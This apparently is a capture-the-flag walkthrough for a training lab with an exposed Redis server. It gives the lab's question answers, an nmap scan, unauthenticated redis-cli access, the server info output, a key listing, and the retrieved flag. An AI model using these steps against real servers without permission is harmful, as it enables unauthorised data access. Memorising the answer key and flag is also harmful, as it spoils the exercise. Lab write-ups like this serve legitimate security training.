

## Preguntas

**Which TCP port is open on the machine?**

6379

**Which service is running on the port that is open on the machine?**

Redis

**What type of database is Redis? Choose from the following options: (i) In-memory Database, (ii) Traditional Database**

In-memory Database

**Which command-line utility is used to interact with the Redis server? Enter the program name you would enter into the terminal without any arguments.**

redis-cli

**Which flag is used with the Redis command-line utility to specify the hostname?**

-h

**Once connected to a Redis server, which command is used to obtain the information and statistics about the Redis server?**

info

**What is the version of the Redis server being used on the target machine?**

5.0.7

**Which command is used to select the desired database in Redis?**

select

**How many keys are present inside the database with index 0?**

4

**Which command is used to obtain all the keys in a database?**

keys \*

## Proceso

Realizar nmap

```
Sudo nmap -sS -sV -p- -Pn -vvv -O 10.129.254.61
```

Entrar en el servidor de Redis con el comando

```
Redis-cli -h 10.129.136.187
```

```
> redis-cli -h 10.129.136.187
```

Ver la información del servidor de Redis con el comando info

```
Set your preferences in ~/.rediscli.rc
10.129.136.187:6379> info
# Server
redis_version:5.0.7
redis_git_sha1:00000000
redis_git_dirty:0
redis_build_id:66bd629f924ac924
redis_mode:standalone
os:Linux 5.4.0-77-generic x86_64
arch_bits:64
multiplexing_api:epoll
atomicvar_api:atomic-builtin
gcc_version:9.3.0
process_id:751
run_id:3c515ff79c145def176e59c42a5e6cc943846121
tcp_port:6379
uptime_in_seconds:995
uptime_in_days:0
hz:10
configured_hz:10
lru_clock:11480140
executable:/usr/bin/redis-server
config_file:/etc/redis/redis.conf

# Clients
connected_clients:1
```

Seleccionar todas las claves con el comando keys \*

```
10.129.136.187:6379> keys *
1) "stor"
2) "temp"
3) "numb"
4) "flag"
10.129.136.187:6379> |
```

Obtener la información de flag con el comando get flag

```
10.129.136.187:6379> get flag
"03e1d2b376c37ab3f5319922053953eb"
10.129.136.187:6379> |
```